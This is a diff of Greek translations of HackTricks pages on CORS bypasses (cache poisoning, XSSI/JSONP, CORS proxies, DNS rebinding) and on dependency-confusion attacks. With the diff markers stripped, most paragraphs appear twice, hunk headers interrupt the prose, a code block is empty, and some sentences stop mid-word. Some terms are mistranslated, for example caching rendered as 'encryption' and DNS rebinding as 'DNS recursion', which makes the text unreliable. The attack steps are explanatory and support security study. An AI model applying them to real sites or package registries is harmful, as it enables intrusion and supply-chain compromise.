Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν web browser να στείλει ένα μη έγκυρο κεφαλίδα, μια δημιουργημένη αίτηση μπορεί να δημιουργηθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε έναν server-side cache να αποθηκεύσει την απόκριση και ακούσια να την παρέχει σε άλλους. Το δημιουργημένο φορτίο στοχεύει στην τροποποίηση του συνόλου χαρακτήρων της σελίδας σε UTF-7, έναν κωδικοποιητή χαρακτήρων που συχνά συσχετίζεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως script σε συγκεκριμένα πλαίσια.
Για περισσότερες πληροφορίες σχετικά με ευπάθειες αποθηκευμένου XSS, δείτε [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Σημείωση**: Η εκμετάλλευση ευπαθειών εισαγωγής κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης server-side cache, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και της απολύτως απαραίτητης καθαριότητας όλων των εισόδων που παρέχει ο χρήστης, συμπεριλαμβανομένων των HTTP headers. Χρησιμοποιήστε πάντα ένα ανθεκτικό μοντέλο ασφαλείας που περιλαμβάνει επικύρωση εισόδου για να αποτρέψετε τέτοιες ευπαθείες.
**Σημείωση**: Η εκμετάλλευση ευπαθειών εισαγωγής κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης server-side cache, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτως της καθαριότητας όλων των εισαγόμενων δεδομένων από τον χρήστη, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιήστε πάντα ένα ανθεκτικό μοντέλο ασφαλείας που περιλαμβάνει επικύρωση εισόδου για να αποτρέψετε τέτοιες ευπαθείες.
### **Δηλητηρίαση cache στην πλευρά του πελάτη**
[**Από αυτή την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που αντανακλά το περιεχόμενο ενός προσαρμοσμένου HTTP header χωρίς κατάλληλη κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά το περιεχόμενο που περιλαμβάνεται σε ένα `X-User-id` header, το οποίο θα μπορούσε να περιέχει κακόβουλο JavaScript, όπως φαίνεται από το παράδειγμα όπου το header περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελέσει κώδικα JavaScript κατά τη φόρτωση.
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που αντανακλά τα περιεχόμενα ενός προσαρμοσμένου κεφαλίδα HTTP χωρίς κατάλληλη κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά τα περιεχόμενα που περιλαμβάνονται σε ένα κεφαλίδα `X-User-id`, το οποίο θα μπορούσε να περιέχει κακόβουλο JavaScript, όπως φαίνεται από το παράδειγμα όπου το κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελέσει κώδικα JavaScript κατά τη φόρτωση.
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων headers. Ωστόσο, χωρίς την άμεση απεικόνιση της απόκρισης από τον browser λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας εισαγωγής φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν ληφθεί υπόψη τη συμπεριφορά της μνήμης cache του browser. Αν το `Vary: Origin` header δεν καθοριστεί, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης από τον browser. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να απεικονιστεί απευθείας κατά την πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για άμεση απεικόνιση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την cache στην πλευρά του πελάτη.
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς την άμεση απεικόνιση της απόκρισης από τον browser λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας εισαγωγής φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν λαμβάνεται υπόψη τη συμπεριφορά της μνήμης cache του browser. Αν το κεφαλίδα `Vary: Origin` δεν καθορίζεται, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης από τον browser. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να απεικονιστεί απευθείας κατά την πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για άμεση απεικόνιση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος τη μνήμη cache της πλευράς του πελάτη.
Για να εικονίσει αυτήν την επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το script εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα συγκεκριμένο URL με ένα προσαρμοσμένο header που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στον στόχο URL, πιθανώς ενεργοποιώντας την εκτέλεση του ενσωματωμένου script αν η απόκριση έχει αποθηκευτεί χωρίς την κατάλληλη χειρισμό του `Vary: Origin` header.
Για να εικονίσει αυτήν την επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα συγκεκριμένο URL με ένα προσαρμοσμένο κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στο στόχο URL, πιθανώς ενεργοποιώντας την εκτέλεση του ενσωματωμένου script αν η απόκριση έχει αποθηκευτεί χωρίς κατάλληλη χειρισμό του κεφαλιδίου `Vary: Origin`.
Εδώ παρουσιάζεται μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:
```html
@ -257,24 +261,24 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διαφορετικούς τομείς. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε χρησιμοποιώντας την ετικέτα script.
XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπαθείας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριλαμβάνονται από διαφορετικούς τομείς. Αυτή η ευπαθεία επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε χρησιμοποιώντας την ετικέτα script.
Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες αρμοδιότητας όπως τα cookies για την πιστοποίηση. Κατά την αίτηση ενός πόρου από διαφορετικό κόμβο, τα cookies συμπεριλαμβάνονται, κάτι που τα καθιστά προσβάσιμα στον επιτιθέμενο.
Αυτή η ευπαθεία γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες αρμοδιότητας όπως τα cookies για την πιστοποίηση. Κατά την αίτηση ενός πόρου από διαφορετικό κόμβο, τα cookies συμπεριλαμβάνονται, κάνοντάς τα προσβάσιμα στον επιτιθέμενο.
Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις web εφαρμογές σας.
Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπαθεία, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις web εφαρμογές σας.
[**Διαβάστε περισσότερα σχετικά με τους διαφορετικούς τύπους XSSI και πώς να τα εκμεταλλευτείτε εδώ.**](xssi-cross-site-script-inclusion.md)
[**Διαβάστε περισσότερα σχετικά με τους διαφορετικούς τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.**](xssi-cross-site-script-inclusion.md)
Δοκιμάστε να προσθέσετε ένα **`callback`** **παράμετρο** στο αίτημα. Ίσως η σελίδα ήταν προετοιμασμένη να στείλει τα δεδομένα ως JSONP. Σε αυτήν την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με `Content-Type: application/javascript` το οποίο θα παρακάμψει την πολιτική CORS.
![](<../.gitbook/assets/image (229).png>)
![](<../.gitbook/assets/image (853).png>)
### Εύκολη (άχρηστη;) παράκαμψη
Ένας τρόπος να παρακάμψετε τον περιορισμό `Access-Control-Allow-Origin` είναι να ζητήσετε από μια web εφαρμογή να κάνει ένα αίτημα εκ μέρους σας και να στείλει πίσω την απάντηση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα σταλούν καθώς το αίτημα γίνεται σε διαφορετικό τομέα.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Αυτό το εργαλείο παρέχει έναν διαμεσολαβητή που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα πλαστογραφεί την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για τη διαμεσολάβηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Αυτό το εργαλείο παρέχει ένα πρόξι που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα πλασάρει την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για την προώθηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.
### Bypass μέσω Iframe + Popup
@ -286,30 +290,30 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
### DNS Rebinding μέσω TTL
Η αναδρομή DNS μέσω TTL είναι μια τεχνική που χρησιμοποιείται για την παράκαμψη συγκεκριμένων μέτρων ασφαλείας με τη χειραγώγηση των εγγραφών DNS. Έτσι λειτουργεί:
Η αναδρομή DNS μέσω TTL είναι μια τεχνική που χρησιμοποιείται για την παράκαμψη συγκεκριμένων μέτρων ασφαλείας με τη χειραγώγηση των εγγραφών DNS. Εδώ είναι πώς λειτουργεί:
1. Ο επιτιθέμενος δημιουργεί μια ιστοσελίδα και κάνει το θύμα να την αποκτήσει πρόσβαση.
2. Ο επιτιθέμενος αλλάζει το DNS (IP) του δικού του τομέα για να δείχνει στην ιστοσελίδα του θύματος.
2. Ο επιτιθέμενος αλλάζει στη συνέχεια το DNS (IP) του δικού του τομέα για να δείχνει στην ιστοσελίδα του θύματος.
3. Ο browser του θύματος κρατά την απάντηση DNS, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδηλώνει πόσο καιρό πρέπει να θεωρείται έγκυρη η εγγραφή DNS.
4. Όταν λήξει το TTL, ο browser του θύματος κάνει ένα νέο αίτημα DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
5. Κρατώντας τον έλεγχο του IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στέλνει cookies στον server του θύματος.
Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν μηχανισμούς κρυφής που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν μηχανισμούς κρυπτογράφησης που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
Η αναδρομή DNS μπορεί να είναι χρήσιμη για την παράκαμψη συγκεκριμένων ελέγχων IP που πραγματοποιούνται από το θύμα ή για σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για μεγάλο χρονικό διάστημα, επιτρέποντας την λήξη της μνήμης cache.
Αν χρειάζεστε έναν γρήγορο τρόπο να καταχρηστείτε την αναδρομή DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Για να εκτελέσετε τον δικό σας διακομιστή αναδρομής DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την εκθεση της τοπικής σας θύρας 53/udp, τη δημιουργία μιας εγγραφής A που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία μιας εγγραφής NS που δείχνει στο προηγουμένως δημιουργημένο υποτομέα A (π.χ., ns.example.com). Οποιοδήποτε υποτομέας του υποτομέα ns.example.com θα επιλυθεί από τον host σας.
Για να εκτελέσετε τον δικό σας διακομιστή αναδρομής DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την εκθεση της τοπικής θύρας 53/udp, τη δημιουργία μιας εγγραφής A που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία μιας εγγραφής NS που δείχνει στο προηγουμένως δημιουργημένο υποτομέα A (π.χ., ns.example.com). Οποιοδήποτε υποτομέας του υποτομέα ns.example.com θα επιλυθεί από τον host σας.
Μπορείτε επίσης να εξερευνήσετε ένα δημόσια λειτουργούντα διακομιστή στο [http://rebind.it/singularity.html](http://rebind.it/singularity.html) για περαιτέρω κατανόηση και πειραματισμό.
### Αναδρομή DNS μέσω **Πλημμύρας Κρυφής Μνήμης DNS**
### Αναδρομή DNS μέσω **Πλημάτωσης Κρυφής DNS Cache**
Η αναδρομή DNS μέσω πλημμύρας κρυφής μνήμης DNS είναι μια άλλη τεχνική που χρησιμοποιείται για την παράκαμψη του μηχανισμού κρυφής μνήμης των browsers και την ανάγκαση ενός δεύτερου αιτήματος DNS. Έτσι λειτουργεί:
Η αναδρομή DNS μέσω πλημάτωσης κρυφής DNS cache είναι μια άλλη τεχνική που χρησιμοποιείται για την παράκαμψη του μηχανισμού κρυπτογράφησης των browsers και την ανάγκαση ενός δεύτερου αιτήματος DNS. Εδώ είναι πώς λειτουργεί:
1. Αρχικά, όταν το θύμα κάνει ένα αίτημα DNS, λαμβάνει απάντηση με τη διεύθυνση IP του επιτιθέμενου.
2. Για να παρακάμψ
1. Αρχικά, όταν το θύμα κάνει ένα αίτημα DNS, απαντάται με τη διεύθυνση IP του επιτιθέμενου.
2. Για να παρακάμψει
### Άλλες Συνηθισμένες Παρακάμψεις
* Αν **δεν επιτρέπονται εσωτερικές IP διευθύνσεις**, μπορεί να **έχουν ξεχάσει να απαγορεύσουν την 0.0.0.0** (λειτουργεί σε Linux και Mac)
@ -320,7 +324,7 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το εργαλείο που ακολουθεί στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για να εκτελέσετε επιθέσεις [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδέσετε την IP διεύθυνση του ονόματος DNS του επιτιθέμενου διακομιστή στη διεύθυνση IP της στόχου μηχανής και να εξυπηρετήσετε φορτία επίθεσης για εκμετάλλευση ευπαθών λογισμικών στην μηχανή στόχο.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για να εκτελέσετε επιθέσεις [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδέσετε την IP διεύθυνση του ονόματος DNS του διακομιστή επίθεσης στη διεύθυνση IP της στόχου μηχανής και να εξυπηρετήσετε φορτία επίθεσης για να εκμεταλλευτείτε ευάλωτο λογισμικό στη μηχανή στόχο.
### Πραγματική Προστασία ενάντια στο DNS Rebinding
@ -351,3 +355,22 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,37 +2,72 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε** στη [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Συνολικά, μια ευπάθεια εξάρτησης σύγχυσης συμβαίνει όταν ένα έργο χρησιμοποιεί μια βιβλιοθήκη με ένα **λανθασμένο** όνομα, **ανύπαρκτο** ή με μια **μη καθορισμένη έκδοση** και ο αποθετήριο εξάρτησης που χρησιμοποιείται επιτρέπει να **συγκεντρωθούν ενημερωμένες εκδόσεις από δημόσια** αποθετήρια.
Συνοπτικά, μια ευπάθεια εξάρτησης σύγχυσης συμβαίνει όταν ένα έργο χρησιμοποιεί μια βιβλιοθήκη με **λάθος γραμματικό λάθος**, **μη υπάρχουσα** ή με **μη καθορισμένη έκδοση** και το χρησιμοποιούμενο αποθετήριο εξαρτήσεων επιτρέπει να **συγκεντρώνει ενημερωμένες εκδόσεις από δημόσια** αποθετήρια.
* **Λανθασμένο**: Εισαγωγή του **`reqests`** αντί για `requests`
* **Ανύπαρκτο**: Εισαγωγή της `company-logging`, μιας εσωτερικής βιβλιοθήκης που **δεν υπάρχει πλέον**
* **Μη καθορισμένη έκδοση**: Εισαγωγή μιας **εσωτερικής υπάρχουσας** βιβλιοθήκης `company-requests`, αλλά ο έλεγχος του αποθετηρίου **δημόσιων αποθετηρίων** γίνεται για να δει αν υπάρχουν **μεγαλύτερες εκδόσεις**.
* **Λάθος γραμματικό λάθος**: Εισαγωγή **`reqests`** αντί για `requests`
* **Μη υπάρχουσα**: Εισαγωγή `company-logging`, μια εσωτερική βιβλιοθήκη που **δεν υπάρχει πλέον**
* **Μη καθορισμένη έκδοση**: Εισαγωγή μιας **εσωτερικής υπάρχουσας** βιβλιοθήκης `company-requests`, αλλά το αποθετήριο ελέγχου **δημόσια αποθετήρια** για να δει αν υπάρχουν **μεγαλύτερες εκδόσεις**.
## Εκμετάλλευση
{% hint style="warning" %}
Σε όλες τις περιπτώσεις, ο επιτιθέμενος απλά χρειάζεται να δημοσιεύσει ένα **κακόβουλο πακέτο με το όνομα** των βιβλιοθηκών που χρησιμοποιεί η εταιρεία θύμα.
Σε όλες τις περιπτώσεις ο επιτιθέμενος απλώς χρειάζεται να δημοσιεύσει ένα **κακόβουλο πακέτο με το όνομα** των βιβλιοθηκών που χρησιμοποιεί η εταιρεία θύμα.
{% endhint %}
### Λανθασμένο & Ανύπαρκτο
### Λάθος γραμματικό λάθος & Μη υπάρχουσα
Εάν η εταιρεία σας προσπαθεί να **εισάγει μια βιβλιοθήκη που δεν είναι εσωτερική**, πιθανότατα το αποθετήριο των βιβλιοθηκών θα την αναζητήσει σε **δημόσια αποθετήρια**. Εάν ένας επιτιθέμενος την έχει δημιουργήσει, ο κώδικάς σας και οι μηχανές που τρέχουν είναι πιθανόν να διατρέχουν κίνδυνο.
Αν η εταιρεία σας προσπαθεί να **εισάγει μια βιβλιοθήκη που δεν είναι εσωτερική**, πιθανότατα το αποθετήριο των βιβλιοθηκών θα την αναζητήσει σε **δημόσια αποθετήρια**. Αν ένας επιτιθέμενος την έχει δημιουργήσει, τον κώδικά σας και τις μηχανές που τρέχουν είναι πιθανόν να διακινδυνευτούν.
### Μη καθορισμένη Έκδοση
Είναι πολύ συνηθισμένο για τους προγραμματιστές να **μην καθορίζουν καμία έκδοση** της χρησιμοποιούμενης βιβλιοθήκης ή να καθορίζουν μόνο μια **κύρια έκδοση**. Στη συνέχεια, ο διερμηνέας θα προσπαθήσει να κατεβάσει την **τελευταία έκδοση** που πληροί αυτές τις απαιτήσεις.\
Εάν η βιβλιοθήκη είναι μια **γνωστή εξωτερική βιβλιοθήκη** (όπως η python `requests`), ένας **επιτιθέμενος δεν μπορεί να κάνει πολλά**, καθώς δεν θα μπορεί να δημιουργήσει μια βιβλιοθήκη με το όνομα `requests` (εκτός αν είναι ο αρχικός συντάκτης).\
Ωστόσο, εάν η βιβλιοθήκη είναι **εσωτερική**, όπως η `requests-company` σε αυτό το παράδειγμα, εάν το **αποθετήριο της βιβλιοθήκης** επιτρέπει να **ελέγξει και εξωτερικά για νέες εκδόσεις**, θα αναζητήσει μια νεότερη έκδοση που είναι διαθέσιμη δημοσίως.\
Έτσι, εάν ένας **επιτιθέμενος γνωρίζει** ότι η εταιρεία χρησιμοποιεί τη βιβλιοθήκη `requests-company` **έκδοση 1.0.1** (επιτρέπονται μικρές ενημερώσεις), μπορεί να **δη
Είναι πολύ συνηθισμένο για τους προγραμματιστές να **μην καθορίζουν καμία έκδοση** της χρησιμοποιούμενης βιβλιοθήκης, ή να καθορίζουν μόνο μια **κύρια έκδοση**. Στη συνέχεια, ο διερμηνευτής θα προσπαθήσει να κατεβάσει την **τελευταία έκδοση** που πληροί αυτές τις απαιτήσεις.\
Αν η βιβλιοθήκη είναι μια **γνωστή εξωτερική βιβλιοθήκη** (όπως το python `requests`), ένας **επιτιθέμενος δεν μπορεί να κάνει πολλά**, καθώς δεν θα μπορεί να δημιουργήσει μια βιβλιοθήκη με το όνομα `requests` (εκτός αν είναι ο αρχικός συγγραφέας).\
Ωστόσο, αν η βιβλιοθήκη είναι **εσωτερική**, όπως το `requests-company` σε αυτό το παράδειγμα, αν το **αποθετήριο της βιβλιοθήκης** επιτρέπει να **ελέγχει και για νέες εκδόσεις εξωτερικά**, θα αναζητήσει μια νεότερη έκδοση διαθέσιμη δημόσια.\
Έτσι, αν ένας **επιτιθέμενος γνωρίζει** ότι η εταιρεία χρησιμοποιεί τη βιβλιοθήκη `requests-company` **έκδοση 1.0.1** (επιτρέπει μικρές ενημερώσεις). Μπορεί να **δημοσιεύσει** τη βιβλιοθήκη `requests-company` **έκδοση 1.0.2** και η εταιρεία θα **χρησιμοποιήσει αυτήν τη βιβλιοθήκη αντί** της εσωτερικής.
## Διόρθωση AWS
Αυτή η ευπάθεια εντοπίστηκε στο AWS **CodeArtifact** (διαβάστε τις [**λεπτομέρειες σε αυτήν την ανάρτηση στο blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
